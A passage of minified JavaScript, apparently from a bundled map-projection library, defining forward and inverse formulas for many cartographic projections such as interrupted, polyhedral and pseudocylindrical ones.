Qt=S(cr),gr=S(ir/=2);return[(1+Qt)*s(ir),(ft*cr>-L(gr,Ct)-.001?0:-ft*10)+At+s(cr)*ot-(1+Qt)*Je*gr]}return Rt.invert=function(ir,cr){var Qt=0,gr=0,Tr=50;do{var Br=S(Qt),Wr=s(Qt),cn=S(gr),dn=s(gr),An=1+cn,ia=An*Wr-ir,ma=At+dn*ot-An*Je*Br-cr,wa=An*Br/2,Ta=-Wr*dn,Ma=Je*An*Wr/2,ja=ot*cn+Je*Br*dn,yi=Ta*Ma-ja*wa,ni=(ma*Ta-ia*ja)/yi/2,se=(ia*Ma-ma*wa)/yi;P(se)>2&&(se/=2),Qt-=ni,gr-=se}while((P(ni)>c||P(se)>c)&&--Tr>0);return ft*gr>-L(S(Qt),Ct)-.001?[Qt*2,gr]:null},Rt}function ne(){var Ve=20*m,Je=Ve>=0?1:-1,ot=y(Je*Ve),ft=(0,M.r)(q),Ct=ft(Ve),At=Ct.stream;return Ct.parallel=function(Rt){return arguments.length?(ot=y((Je=(Ve=Rt*m)>=0?1:-1)*Ve),ft(Ve)):Ve*A},Ct.stream=function(Rt){var ir=Ct.rotate(),cr=At(Rt),Qt=(Ct.rotate([0,0]),At(Rt)),gr=Ct.precision();return Ct.rotate(ir),cr.sphere=function(){Qt.polygonStart(),Qt.lineStart();for(var Tr=Je*-180;Je*Tr<180;Tr+=Je*90)Qt.point(Tr,Je*90);if(Ve)for(;Je*(Tr-=3*Je*gr)>=-180;)Qt.point(Tr,Je*-L(S(Tr*m/2),ot)*A);Qt.lineEnd(),Qt.polygonEnd()},cr},Ct.scale(218.695).center([0,28.0974])}function fe(Ve,Je){var ot=y(Je/2),ft=I(1-ot*ot),Ct=1+ft*S(Ve/=2),At=s(Ve)*ft/Ct,Rt=ot/Ct,ir=At*At,cr=Rt*Rt;return[1.3333333333333333*At*(3+ir-3*cr),1.3333333333333333*Rt*(3+3*ir-cr)]}fe.invert=function(Ve,Je){if(Ve*=.375,Je*=.375,!Ve&&P(Je)>1)return null;var ot=Ve*Ve,ft=Je*Je,Ct=1+ot+ft,At=I((Ct-I(Ct*Ct-4*Je*Je))/2),Rt=C(At)/3,ir=At?O(P(Je/At))/3:F(P(Ve))/3,cr=S(Rt),Qt=_(ir),gr=Qt*Qt-cr*cr;return[u(Ve)*2*L(B(ir)*cr,.25-gr),u(Je)*2*L(Qt*s(Rt),.25+gr)]};function X(){return(0,M.Z)(fe).scale(66.1603)}var W=I(8),V=t(1+w);function Y(Ve,Je){var ot=P(Je);return ot<v?[Ve,t(y(v+Je/2))]:[Ve*S(ot)*(2*w-1/s(ot)),u(Je)*(2*w*(ot-v)-t(y(ot/2)))]}Y.invert=function(Ve,Je){if((At=P(Je))<V)return[Ve,2*o(d(Je))-i];var ot=v,ft=25,Ct,At;do{var Rt=S(ot/2),ir=y(ot/2);ot-=Ct=(W*(ot-v)-t(ir)-At)/(W-Rt*Rt/(2*ir))}while(P(Ct)>b&&--ft>0);return[Ve/(S(ot)*(W-1/s(ot))),u(Je)*ot]};function Q(){return(0,M.Z)(Y).scale(112.314)}var ie=e(17889);function j(Ve){var Je=2*h/Ve;function ot(ft,Ct){var At=(0,ie.N)(ft,Ct);if(P(ft)>i){var Rt=L(At[1],At[0]),ir=I(At[0]*At[0]+At[1]*At[1]),cr=Je*l((Rt-i)/Je)+i,Qt=L(s(Rt-=cr),2-S(Rt));Rt=cr+C(h/ir*s(Qt))-Qt,At[0]=ir*S(Rt),At[1]=ir*s(Rt)}return At}return ot.invert=function(ft,Ct){var At=I(ft*ft+Ct*Ct);if(At>i){var Rt=L(Ct,ft),ir=Je*l((Rt-i)/Je)+i,cr=Rt>ir?-1:1,Qt=At*S(ir-Rt),gr=1/y(cr*x((Qt-h)/I(h*(h-2*Qt)+At*At)));Rt=ir+2*o((gr+cr*I(gr*gr-3))/3),ft=At*S(Rt),Ct=At*s(Rt)}return ie.N.invert(ft,Ct)},ot}function K(){var Ve=5,Je=(0,M.r)(j),ot=Je(Ve),ft=ot.stream,Ct=.01,At=-S(Ct*m),Rt=s(Ct*m);return ot.lobes=function(ir){return arguments.length?Je(Ve=+ir):Ve},ot.stream=function(ir){var cr=ot.rotate(),Qt=ft(ir),gr=(ot.rotate([0,0]),ft(ir));return ot.rotate(cr),Qt.sphere=function(){gr.polygonStart(),gr.lineStart();for(var Tr=0,Br=360/Ve,Wr=2*h/Ve,cn=90-180/Ve,dn=i;Tr<Ve;++Tr,cn-=Br,dn-=Wr)gr.point(L(Rt*S(dn),At)*A,C(Rt*s(dn))*A),cn<-90?(gr.point(-90,-180-cn-Ct),gr.point(-90,-180-cn+Ct)):(gr.point(90,cn+Ct),gr.point(90,cn-Ct));gr.lineEnd(),gr.polygonEnd()},Qt},ot.scale(87.8076).center([0,17.1875]).clipAngle(179.999)}var oe=e(12956);function re(Ve,Je){if(arguments.length<2&&(Je=Ve),Je===1)return oe.l;if(Je===1/0)return le;function ot(ft,Ct){var At=(0,oe.l)(ft/Je,Ct);return At[0]*=Ve,At}return ot.invert=function(ft,Ct){var At=oe.l.invert(ft/Ve,Ct);return At[0]*=Je,At},ot}function le(Ve,Je){return[Ve*S(Je)/S(Je/=2),2*s(Je)]}le.invert=function(Ve,Je){var ot=2*C(Je/2);return[Ve*S(ot/2)/S(ot),ot]};function pe(){var Ve=2,Je=(0,M.r)(re),ot=Je(Ve);return ot.coefficient=function(ft){return arguments.length?Je(Ve=+ft):Ve},ot.scale(169.529)}function we(Ve,Je,ot){var ft=100,Ct,At,Rt;ot=ot===void 0?0:+ot,Je=+Je;do At=Ve(ot),Rt=Ve(ot+c),At===Rt&&(Rt=At+c),ot-=Ct=-1*c*(At-Je)/(At-Rt);while(ft-- >0&&P(Ct)>c);return ft<0?NaN:ot}function xe(Ve,Je,ot){return Je===void 0&&(Je=40),ot===void 0&&(ot=b),function(ft,Ct,At,Rt){var ir,cr,Qt;At=At===void 0?0:+At,Rt=Rt===void 0?0:+Rt;for(var gr=0;gr<Je;gr++){var Tr=Ve(At,Rt),Br=Tr[0]-ft,Wr=Tr[1]-Ct;if(P(Br)<ot&&P(Wr)<ot)break;var cn=Br*Br+Wr*Wr;if(cn>ir){At-=cr/=2,Rt-=Qt/=2;continue}ir=cn;var dn=(At>0?-1:1)*ot,An=(Rt>0?-1:1)*ot,ia=Ve(At+dn,Rt),ma=Ve(At,Rt+An),wa=(ia[0]-Tr[0])/dn,Ta=(ia[1]-Tr[1])/dn,Ma=(ma[0]-Tr[0])/An,ja=(ma[1]-Tr[1])/An,yi=ja*wa-Ta*Ma,ni=(P(yi)<.5?.5:1)/yi;if(cr=(Wr*Ma-Br*ja)*ni,Qt=(Br*Ta-Wr*wa)*ni,At+=cr,Rt+=Qt,P(cr)<ot&&P(Qt)<ot)break}return[At,Rt]}}function ke(){var Ve=re(1.68,2),Je=1.4,ot=12;function ft(Ct,At){if(Ct+At<-Je){var Rt=(Ct-At+1.6)*(Ct+At+Je)/8;Ct+=Rt,At-=.8*Rt*s(At+h/2)}var ir=Ve(Ct,At),cr=(1-S(Ct*At))/ot;return ir[1]<0&&(ir[0]*=1+cr),ir[1]>0&&(ir[1]*=1+cr/1.5*ir[0]*ir[0]),ir}return ft.invert=xe(ft),ft}function _e(){return(0,M.Z)(ke()).rotate([-16.5,-42]).scale(176.57).center([7.93,.09])}function be(Ve,Je){var ot=Ve*s(Je),ft=30,Ct;do Je-=Ct=(Je+s(Je)-ot)/(1+S(Je));while(P(Ct)>c&&--ft>0);return Je/2}function ge(Ve,Je,ot){function ft(Ct,At){return[Ve*Ct*S(At=be(ot,At)),Je*s(At)]}return ft.invert=function(Ct,At){return At=C(At/Je),[Ct/(Ve*S(At)),C((2*At+s(2*At))/ot)]},ft}var Te=ge(w/i,w,h);function Fe(){return(0,M.Z)(Te).scale(169.529)}var Oe=2.00276,Ce=1.11072;function Be(Ve,Je){var ot=be(h,Je);return[Oe*Ve/(1/S(Je)+Ce/S(ot)),(Je+w*s(ot))/Oe]}Be.invert=function(Ve,Je){var ot=Oe*Je,ft=Je<0?-v:v,Ct=25,At,Rt;do Rt=ot-w*s(ft),ft-=At=(s(2*ft)+2*ft-h*s(Rt))/(2*S(2*ft)+2+h*S(Rt)*w*S(ft));while(P(At)>c&&--Ct>0);return Rt=ot-w*s(ft),[Ve*(1/S(Rt)+Ce/S(ft))/Oe,Rt]};function $e(){return(0,M.Z)(Be).scale(160.857)}function Xe(Ve){var Je=0,ot=(0,M.r)(Ve),ft=ot(Je);return ft.parallel=function(Ct){return arguments.length?ot(Je=Ct*m):Je*A},ft}function Ze(Ve,Je){return[Ve*S(Je),Je]}Ze.invert=function(Ve,Je){return[Ve/S(Je),Je]};function Ke(){return(0,M.Z)(Ze).scale(152.63)}function st(Ve){if(!Ve)return Ze;var Je=1/y(Ve);function ot(ft,Ct){var At=Je+Ve-Ct,Rt=At&&ft*S(Ct)/At;return[At*s(Rt),Je-At*S(Rt)]}return ot.invert=function(ft,Ct){var At=I(ft*ft+(Ct=Je-Ct)*Ct),Rt=Je+Ve-At;return[At/S(Rt)*L(ft,Ct),Rt]},ot}function lt(){return Xe(st).scale(123.082).center([0,26.1441]).parallel(45)}function ut(Ve){function Je(ot,ft){var Ct=i-ft,At=Ct&&ot*Ve*s(Ct)/Ct;return[Ct*s(At)/Ve,i-Ct*S(At)]}return Je.invert=function(ot,ft){var Ct=ot*Ve,At=i-ft,Rt=I(Ct*Ct+At*At),ir=L(Ct,At);return[(Rt?Rt/s(Rt):1)*ir/Ve,i-Rt]},Je}function yt(){var Ve=.5,Je=(0,M.r)(ut),ot=Je(Ve);return ot.fraction=function(ft){return arguments.length?Je(Ve=+ft):Ve},ot.scale(158.837)}var bt=ge(1,4/h,h);function Ot(){return(0,M.Z)(bt).scale(152.63)}var Ge=e(66624),Le=e(49386);function Pe(Ve,Je,ot,ft,Ct,At){var Rt=S(At),ir;if(P(Ve)>1||P(At)>1)ir=x(ot*Ct+Je*ft*Rt);else{var cr=s(Ve/2),Qt=s(At/2);ir=2*C(I(cr*cr+Je*ft*Qt*Qt))}return P(ir)>c?[ir,L(ft*s(At),Je*Ct-ot*ft*Rt)]:[0,0]}function De(Ve,Je,ot){return x((Ve*Ve+Je*Je-ot*ot)/(2*Ve*Je))}function Ee(Ve){return Ve-2*h*g((Ve+h)/(2*h))}function ye(Ve,Je,ot){for(var ft=[[Ve[0],Ve[1],s(Ve[1]),S(Ve[1])],[Je[0],Je[1],s(Je[1]),S(Je[1])],[ot[0],ot[1],s(ot[1]),S(ot[1])]],Ct=ft[2],At,Rt=0;Rt<3;++Rt,Ct=At)At=ft[Rt],Ct.v=Pe(At[1]-Ct[1],Ct[3],Ct[2],At[3],At[2],At[0]-Ct[0]),Ct.point=[0,0];var ir=De(ft[0].v[0],ft[2].v[0],ft[1].v[0]),cr=De(ft[0].v[0],ft[1].v[0],ft[2].v[0]),Qt=h-ir;ft[2].point[1]=0,ft[0].point[0]=-(ft[1].point[0]=ft[0].v[0]/2);var gr=[ft[2].point[0]=ft[0].point[0]+ft[2].v[0]*S(ir),2*(ft[0].point[1]=ft[1].point[1]=ft[2].v[0]*s(ir))];function Tr(Br,Wr){var cn=s(Wr),dn=S(Wr),An=new Array(3),ia;for(ia=0;ia<3;++ia){var ma=ft[ia];if(An[ia]=Pe(Wr-ma[1],ma[3],ma[2],dn,cn,Br-ma[0]),!An[ia][0])return ma.point;An[ia][1]=Ee(An[ia][1]-ma.v[1])}var wa=gr.slice();for(ia=0;ia<3;++ia){var Ta=ia==2?0:ia+1,Ma=De(ft[ia].v[0],An[ia][0],An[Ta][0]);An[ia][1]<0&&(Ma=-Ma),ia?ia==1?(Ma=cr-Ma,wa[0]-=An[ia][0]*S(Ma),wa[1]-=An[ia][0]*s(Ma)):(Ma=Qt-Ma,wa[0]+=An[ia][0]*S(Ma),wa[1]+=An[ia][0]*s(Ma)):(wa[0]+=An[ia][0]*S(Ma),wa[1]-=An[ia][0]*s(Ma))}return wa[0]/=3,wa[1]/=3,wa}return Tr}function ae(Ve){return Ve[0]*=m,Ve[1]*=m,Ve}function de(){return Me([0,22],[45,22],[22.5,-22]).scale(380).center([22.5,2])}function Me(Ve,Je,ot){var ft=(0,Ge.Z)({type:"MultiPoint",coordinates:[Ve,Je,ot]}),Ct=[-ft[0],-ft[1]],At=(0,Le.Z)(Ct),Rt=ye(ae(At(Ve)),ae(At(Je)),ae(At(ot)));Rt.invert=xe(Rt);var ir=(0,M.Z)(Rt).rotate(Ct),cr=ir.center;return delete ir.rotate,ir.center=function(Qt){return arguments.length?cr(At(Qt)):At.invert(cr())},ir.clipAngle(90)}function Ie(Ve,Je){var ot=I(1-s(Je));return[2/E*Ve*ot,E*(1-ot)]}Ie.invert=function(Ve,Je){var ot=(ot=Je/E-1)*ot;return[ot>0?Ve*I(h/ot)/2:0,C(1-ot)]};function Qe(){return(0,M.Z)(Ie).scale(95.6464).center([0,30])}function et(Ve){var Je=y(Ve);function ot(ft,Ct){return[ft,(ft?ft/s(ft):1)*(s(Ct)*S(ft)-Je*S(Ct))]}return ot.invert=Je?function(ft,Ct){ft&&(Ct*=s(ft)/ft);var At=S(ft);return[ft,2*L(I(At*At+Je*Je-Ct*Ct)-At,Je-Ct)]}:function(ft,Ct){return[ft,C(ft?Ct*y(ft)/ft:Ct)]},ot}function pt(){return Xe(et).scale(249.828).clipAngle(90)}var St=I(3);function _t(Ve,Je){return[St*Ve*(2*S(2*Je/3)-1)/E,St*E*s(Je/3)]}_t.invert=function(Ve,Je){var ot=3*C(Je/(St*E));return[E*Ve/(St*(2*S(2*ot/3)-1)),ot]};function Ft(){return(0,M.Z)(_t).scale(156.19)}function Tt(Ve){var Je=S(Ve);function ot(ft,Ct){return[ft*Je,s(Ct)/Je]}return ot.invert=function(ft,Ct){return[ft/Je,C(Ct*Je)]},ot}function Gt(){return Xe(Tt).parallel(38.58).scale(195.044)}function er(Ve){var Je=S(Ve);function ot(ft,Ct){return[ft*Je,(1+Je)*y(Ct/2)]}return ot.invert=function(ft,Ct){return[ft/Je,o(Ct/(1+Je))*2]},ot}function Pr(){return Xe(er).scale(124.75)}function ct(Ve,Je){var ot=I(8/(3*h));return[ot*Ve*(1-P(Je)/h),ot*Je]}ct.invert=function(Ve,Je){var ot=I(8/(3*h)),ft=Je/ot;return[Ve/(ot*(1-P(ft)/h)),ft]};function Vt(){return(0,M.Z)(ct).scale(165.664)}function Ut(Ve,Je){var ot=I(4-3*s(P(Je)));return[2/I(6*h)*Ve*ot,u(Je)*I(2*h/3)*(2-ot)]}Ut.invert=function(Ve,Je){var ot=2-P(Je)/I(2*h/3);return[Ve*I(6*h)/(2*ot),u(Je)*C((4-ot*ot)/3)]};function dr(){return(0,M.Z)(Ut).scale(165.664)}function sr(Ve,Je){var ot=I(h*(4+h));return[2/ot*Ve*(1+I(1-4*Je*Je/(h*h))),4/ot*Je]}sr.invert=function(Ve,Je){var ot=I(h*(4+h))/2;return[Ve*ot/(1+I(1-Je*Je*(4+h)/(4*h))),Je*ot/2]};function nt(){return(0,M.Z)(sr).scale(180.739)}function rt(Ve,Je){var ot=(2+i)*s(Je);Je/=2;for(var ft=0,Ct=1/0;ft<10&&P(Ct)>c;ft++){var At=S(Je);Je-=Ct=(Je+s(Je)*(At+2)-ot)/(2*At*(1+At))}return[2/I(h*(4+h))*Ve*(1+S(Je)),2*I(h/(4+h))*s(Je)]}rt.invert=function(Ve,Je){var ot=Je*I((4+h)/h)/2,ft=C(ot),Ct=S(ft);return[Ve/(2/I(h*(4+h))*(1+Ct)),C((ft+ot*(Ct+2))/(2+i))]};function vt(){return(0,M.Z)(rt).scale(180.739)}function gt(Ve,Je){return[Ve*(1+S(Je))/I(2+h),2*Je/I(2+h)]}gt.invert=function(Ve,Je){var ot=I(2+h),ft=Je*ot/2;return[ot*Ve/(1+S(ft)),ft]};function wt(){return(0,M.Z)(gt).scale(173.044)}function mt(Ve,Je){for(var ot=(1+i)*s(Je),ft=0,Ct=1/0;ft<10&&P(Ct)>c;ft++)Je-=Ct=(Je+s(Je)-ot)/(1+S(Je));return ot=I(2+h),[Ve*(1+S(Je))/ot,2*Je/ot]}mt.invert=function(Ve,Je){var ot=1+i,ft=I(ot/2);return[Ve*2*ft/(1+S(Je*=ft)),C((Je+s(Je))/ot)]};function Pt(){return(0,M.Z)(mt).scale(173.044)}var zt=3+2*w;function Xt(Ve,Je){var ot=s(Ve/=2),ft=S(Ve),Ct=I(S(Je)),At=S(Je/=2),Rt=s(Je)/(At+w*ft*Ct),ir=I(2/(1+Rt*Rt)),cr=I((w*At+(ft+ot)*Ct)/(w*At+(ft-ot)*Ct));return[zt*(ir*(cr-1/cr)-2*t(cr)),zt*(ir*Rt*(cr+1/cr)-2*o(Rt))]}Xt.invert=function(Ve,Je){if(!(At=fe.invert(Ve/1.2,Je*1.065)))return null;var ot=At[0],ft=At[1],Ct=20,At;Ve/=zt,Je/=zt;do{var Rt=ot/2,ir=ft/2,cr=s(Rt),Qt=S(Rt),gr=s(ir),Tr=S(ir),Br=S(ft),Wr=I(Br),cn=gr/(Tr+w*Qt*Wr),dn=cn*cn,An=I(2/(1+dn)),ia=w*Tr+(Qt+cr)*Wr,ma=w*Tr+(Qt-cr)*Wr,wa=ia/ma,Ta=I(wa),Ma=Ta-1/Ta,ja=Ta+1/Ta,yi=An*Ma-2*t(Ta)-Ve,ni=An*cn*ja-2*o(cn)-Je,se=gr&&T*Wr*cr*dn/gr,Ae=(w*Qt*Tr+Wr)/(2*(Tr+w*Qt*Wr)*(Tr+w*Qt*Wr)*Wr),ze=-.5*cn*An*An*An,Ye=ze*se,je=ze*Ae,qe=(qe=2*Tr+w*Wr*(Qt-cr))*qe*Ta,Mt=(w*Qt*Tr*Wr+Br)/qe,it=-(w*cr*gr)/(Wr*qe),kt=Ma*Ye-2*Mt/Ta+An*(Mt+Mt/wa),jt=Ma*je-2*it/Ta+An*(it+it/wa),Kt=cn*ja*Ye-2*se/(1+dn)+An*ja*se+An*cn*(Mt-Mt/wa),wr=cn*ja*je-2*Ae/(1+dn)+An*ja*Ae+An*cn*(it-it/wa),xr=jt*Kt-wr*kt;if(!xr)break;var Gr=(ni*jt-yi*wr)/xr,jr=(yi*Kt-ni*kt)/xr;ot-=Gr,ft=r(-i,f(i,ft-jr))}while((P(Gr)>c||P(jr)>c)&&--Ct>0);return P(P(ft)-i)<c?[0,ft]:Ct&&[ot,ft]};function Yt(){return(0,M.Z)(Xt).scale(62.5271)}var $t=S(35*m);function yr(Ve,Je){var ot=y(Je/2);return[Ve*$t*I(1-ot*ot),(1+$t)*ot]}yr.invert=function(Ve,Je){var ot=Je/(1+$t);return[Ve&&Ve/($t*I(1-ot*ot)),2*o(ot)]};function Ue(){return(0,M.Z)(yr).scale(137.152)}function Ne(Ve,Je){var ot=Je/2,ft=S(ot);return[2*Ve/E*S(Je)*ft*ft,E*y(ot)]}Ne.invert=function(Ve,Je){var ot=o(Je/E),ft=S(ot),Ct=2*ot;return[Ve*E/2/(S(Ct)*ft*ft),Ct]};function Et(){return(0,M.Z)(Ne).scale(135.264)}function Lt(Ve){var Je=1-Ve,ot=At(h,0)[0]-At(-h,0)[0],ft=At(0,i)[1]-At(0,-i)[1],Ct=I(2*ft/ot);function At(cr,Qt){var gr=S(Qt),Tr=s(Qt);return[gr/(Je+Ve*gr)*cr,Je*Qt+Ve*Tr]}function Rt(cr,Qt){var gr=At(cr,Qt);return[gr[0]*Ct,gr[1]/Ct]}function ir(cr){return Rt(0,cr)[1]}return Rt.invert=function(cr,Qt){var gr=we(ir,Qt),Tr=cr/Ct*(Ve+Je/S(gr));return[Tr,gr]},Rt}function Nt(){var Ve=.5,Je=(0,M.r)(Lt),ot=Je(Ve);return ot.alpha=function(ft){return arguments.length?Je(Ve=+ft):Ve},ot.scale(168.725)}var rr=e(57962),tr=e(97492);function Jt(Ve){return[Ve[0]/2,C(y(Ve[1]/2*m))*A]}function It(Ve){return[Ve[0]*2,2*o(s(Ve[1]*m))*A]}function or(Ve){Ve==null&&(Ve=rr.Z);var Je=Ve(),ot=(0,tr.Z)().scale(A).precision(0).clipAngle(null).translate([0,0]);function ft(At){return Je(Jt(At))}Je.invert&&(ft.invert=function(At){return It(Je.invert(At))}),ft.stream=function(At){var Rt=Je.stream(At),ir=ot.stream({point:function(cr,Qt){Rt.point(cr/2,C(y(-Qt/2*m))*A)},lineStart:function(){Rt.lineStart()},lineEnd:function(){Rt.lineEnd()},polygonStart:function(){Rt.polygonStart()},polygonEnd:function(){Rt.polygonEnd()}});return ir.sphere=Rt.sphere,ir};function Ct(At){ft[At]=function(){return arguments.length?(Je[At].apply(Je,arguments),ft):Je[At]()}}return ft.rotate=function(At){return arguments.length?(ot.rotate(At),ft):ot.rotate()},ft.center=function(At){return arguments.length?(Je.center(Jt(At)),ft):It(Je.center())},Ct("angle"),Ct("clipAngle"),Ct("clipExtent"),Ct("fitExtent"),Ct("fitHeight"),Ct("fitSize"),Ct("fitWidth"),Ct("scale"),Ct("translate"),Ct("precision"),ft.scale(249.5)}function ur(Ve,Je){var ot=2*h/Je,ft=Ve*Ve;function Ct(At,Rt){var ir=(0,ie.N)(At,Rt),cr=ir[0],Qt=ir[1],gr=cr*cr+Qt*Qt;if(gr>ft){var Tr=I(gr),Br=L(Qt,cr),Wr=ot*l(Br/ot),cn=Br-Wr,dn=Ve*S(cn),An=(Ve*s(cn)-cn*s(dn))/(i-dn),ia=fr(cn,An),ma=(h-Ve)/lr(ia,dn,h);cr=Tr;var wa=50,Ta;do cr-=Ta=(Ve+lr(ia,dn,cr)*ma-Tr)/(ia(cr)*ma);while(P(Ta)>c&&--wa>0);Qt=cn*s(cr),cr<i&&(Qt-=An*(cr-i));var Ma=s(Wr),ja=S(Wr);ir[0]=cr*ja-Qt*Ma,ir[1]=cr*Ma+Qt*ja}return ir}return Ct.invert=function(At,Rt){var ir=At*At+Rt*Rt;if(ir>ft){var cr=I(ir),Qt=L(Rt,At),gr=ot*l(Qt/ot),Tr=Qt-gr;At=cr*S(Tr),Rt=cr*s(Tr);for(var Br=At-i,Wr=s(At),cn=Rt/Wr,dn=At<i?1/0:0,An=10;;){var ia=Ve*s(cn),ma=Ve*S(cn),wa=s(ma),Ta=i-ma,Ma=(ia-cn*wa)/Ta,ja=fr(cn,Ma);if(P(dn)<b||!--An)break;cn-=dn=(cn*Wr-Ma*Br-Rt)/(Wr-Br*2*(Ta*(ma+cn*ia*S(ma)-wa)-ia*(ia-cn*wa))/(Ta*Ta))}cr=Ve+lr(ja,ma,At)*(h-Ve)/lr(ja,ma,h),Qt=gr+cn,At=cr*S(Qt),Rt=cr*s(Qt)}return ie.N.invert(At,Rt)},Ct}function fr(Ve,Je){return function(ot){var ft=Ve*S(ot);return ot<i&&(ft-=Je),I(1+ft*ft)}}function lr(Ve,Je,ot){for(var ft=50,Ct=(ot-Je)/ft,At=Ve(Je)+Ve(ot),Rt=1,ir=Je;Rt<ft;++Rt)At+=2*Ve(ir+=Ct);return At*.5*Ct}function Nr(){var Ve=6,Je=30*m,ot=S(Je),ft=s(Je),Ct=(0,M.r)(ur),At=Ct(Je,Ve),Rt=At.stream,ir=.01,cr=-S(ir*m),Qt=s(ir*m);return At.radius=function(gr){return arguments.length?(ot=S(Je=gr*m),ft=s(Je),Ct(Je,Ve)):Je*A},At.lobes=function(gr){return arguments.length?Ct(Je,Ve=+gr):Ve},At.stream=function(gr){var Tr=At.rotate(),Br=Rt(gr),Wr=(At.rotate([0,0]),Rt(gr));return At.rotate(Tr),Br.sphere=function(){Wr.polygonStart(),Wr.lineStart();for(var cn=0,dn=2*h/Ve,An=0;cn<Ve;++cn,An-=dn)Wr.point(L(Qt*S(An),cr)*A,C(Qt*s(An))*A),Wr.point(L(ft*S(An-dn/2),ot)*A,C(ft*s(An-dn/2))*A);Wr.lineEnd(),Wr.polygonEnd()},Br},At.rotate([90,-40]).scale(91.7095).clipAngle(179.999)}function Rr(Ve,Je,ot,ft,Ct,At,Rt,ir){arguments.length<8&&(ir=0);function cr(Qt,gr){if(!gr)return[Ve*Qt/h,0];var Tr=gr*gr,Br=Ve+Tr*(Je+Tr*(ot+Tr*ft)),Wr=gr*(Ct-1+Tr*(At-ir+Tr*Rt)),cn=(Br*Br+Wr*Wr)/(2*Wr),dn=Qt*C(Br/cn)/h;return[cn*s(dn),gr*(1+Tr*ir)+cn*(1-S(dn))]}return cr.invert=function(Qt,gr){var Tr=h*Qt/Ve,Br=gr,Wr,cn,dn=50;do{var An=Br*Br,ia=Ve+An*(Je+An*(ot+An*ft)),ma=Br*(Ct-1+An*(At-ir+An*Rt)),wa=ia*ia+ma*ma,Ta=2*ma,Ma=wa/Ta,ja=Ma*Ma,yi=C(ia/Ma)/h,ni=Tr*yi,se=ia*ia,Ae=(2*Je+An*(4*ot+An*6*ft))*Br,ze=Ct+An*(3*At+An*5*Rt),Ye=2*(ia*Ae+ma*(ze-1)),je=2*(ze-1),qe=(Ye*Ta-wa*je)/(Ta*Ta),Mt=S(ni),it=s(ni),kt=Ma*Mt,jt=Ma*it,Kt=Tr/h*(1/I(1-se/ja))*(Ae*Ma-ia*qe)/ja,wr=jt-Qt,xr=Br*(1+An*ir)+Ma-kt-gr,Gr=qe*it+kt*Kt,jr=kt*yi,Mr=1+qe-(qe*Mt-jt*Kt),_r=jt*yi,Hr=Gr*_r-Mr*jr;if(!Hr)break;Tr-=Wr=(xr*Gr-wr*Mr)/Hr,Br-=cn=(wr*_r-xr*jr)/Hr}while((P(Wr)>c||P(cn)>c)&&--dn>0);return[Tr,Br]},cr}var Cr=Rr(2.8284,-1.6988,.75432,-.18071,1.76003,-.38914,.042555);function vn(){return(0,M.Z)(Cr).scale(149.995)}var Ur=Rr(2.583819,-.835827,.170354,-.038094,1.543313,-.411435,.082742);function Mn(){return(0,M.Z)(Ur).scale(153.93)}var Sn=Rr(5/6*h,-.62636,-.0344,0,1.3493,-.05524,0,.045);function nr(){return(0,M.Z)(Sn).scale(130.945)}function Sr(Ve,Je){var ot=Ve*Ve,ft=Je*Je;return[Ve*(1-.162388*ft)*(.87-952426e-9*ot*ot),Je*(1+ft/12)]}Sr.invert=function(Ve,Je){var ot=Ve,ft=Je,Ct=50,At;do{var Rt=ft*ft;ft-=At=(ft*(1+Rt/12)-Je)/(1+Rt/4)}while(P(At)>c&&--Ct>0);Ct=50,Ve/=1-.162388*Rt;do{var ir=(ir=ot*ot)*ir;ot-=At=(ot*(.87-952426e-9*ir)-Ve)/(.87-.00476213*ir)}while(P(At)>c&&--Ct>0);return[ot,ft]};function Dr(){return(0,M.Z)(Sr).scale(131.747)}var Ir=Rr(2.6516,-.76534,.19123,-.047094,1.36289,-.13965,.031762);function Xr(){return(0,M.Z)(Ir).scale(131.087)}function an(Ve){var Je=Ve(i,0)[0]-Ve(-i,0)[0];function ot(ft,Ct){var At=ft>0?-.5:.5,Rt=Ve(ft+At*h,Ct);return Rt[0]-=At*Je,Rt}return Ve.invert&&(ot.invert=function(ft,Ct){var At=ft>0?-.5:.5,Rt=Ve.invert(ft+At*Je,Ct),ir=Rt[0]-At*h;return ir<-h?ir+=2*h:ir>h&&(ir-=2*h),Rt[0]=ir,Rt}),ot}function tn(Ve,Je){var ot=u(Ve),ft=u(Je),Ct=S(Je),At=S(Ve)*Ct,Rt=s(Ve)*Ct,ir=s(ft*Je);Ve=P(L(Rt,ir)),Je=C(At),P(Ve-i)>c&&(Ve%=i);var cr=gn(Ve>h/4?i-Ve:Ve,Je);return Ve>h/4&&(ir=cr[0],cr[0]=-cr[1],cr[1]=-ir),cr[0]*=ot,cr[1]*=-ft,cr}tn.invert=function(Ve,Je){P(Ve)>1&&(Ve=u(Ve)*2-Ve),P(Je)>1&&(Je=u(Je)*2-Je);var ot=u(Ve),ft=u(Je),Ct=-ot*Ve,At=-ft*Je,Rt=At/Ct<1,ir=En(Rt?At:Ct,Rt?Ct:At),cr=ir[0],Qt=ir[1],gr=S(Qt);return Rt&&(cr=-i-cr),[ot*(L(s(cr)*gr,-s(Qt))+h),ft*C(S(cr)*gr)]};function gn(Ve,Je){if(Je===i)return[0,0];var ot=s(Je),ft=ot*ot,Ct=ft*ft,At=1+Ct,Rt=1+3*Ct,ir=1-Ct,cr=C(1/I(At)),Qt=ir+ft*At*cr,gr=(1-ot)/Qt,Tr=I(gr),Br=gr*At,Wr=I(Br),cn=Tr*ir,dn,An;if(Ve===0)return[0,-(cn+ft*Wr)];var ia=S(Je),ma=1/ia,wa=2*ot*ia,Ta=(-3*ft+cr*Rt)*wa,Ma=(-Qt*ia-(1-ot)*Ta)/(Qt*Qt),ja=.5*Ma/Tr,yi=ir*ja-2*ft*Tr*wa,ni=ft*At*Ma+gr*Rt*wa,se=-ma*wa,Ae=-ma*ni,ze=-2*ma*yi,Ye=4*Ve/h,je;if(Ve>.222*h||Je<h/4&&Ve>.175*h){if(dn=(cn+ft*I(Br*(1+Ct)-cn*cn))/(1+Ct),Ve>h/4)return[dn,dn];var qe=dn,Mt=.5*dn;dn=.5*(Mt+qe),An=50;do{var it=I(Br-dn*dn),kt=dn*(ze+se*it)+Ae*C(dn/Wr)-Ye;if(!kt)break;kt<0?Mt=dn:qe=dn,dn=.5*(Mt+qe)}while(P(qe-Mt)>c&&--An>0)}else{dn=c,An=25;do{var jt=dn*dn,Kt=I(Br-jt),wr=ze+se*Kt,xr=dn*wr+Ae*C(dn/Wr)-Ye,Gr=wr+(Ae-se*jt)/Kt;dn-=je=Kt?xr/Gr:0}while(P(je)>c&&--An>0)}return[dn,-cn-ft*I(Br-dn*dn)]}function En(Ve,Je){for(var ot=0,ft=1,Ct=.5,At=50;;){var 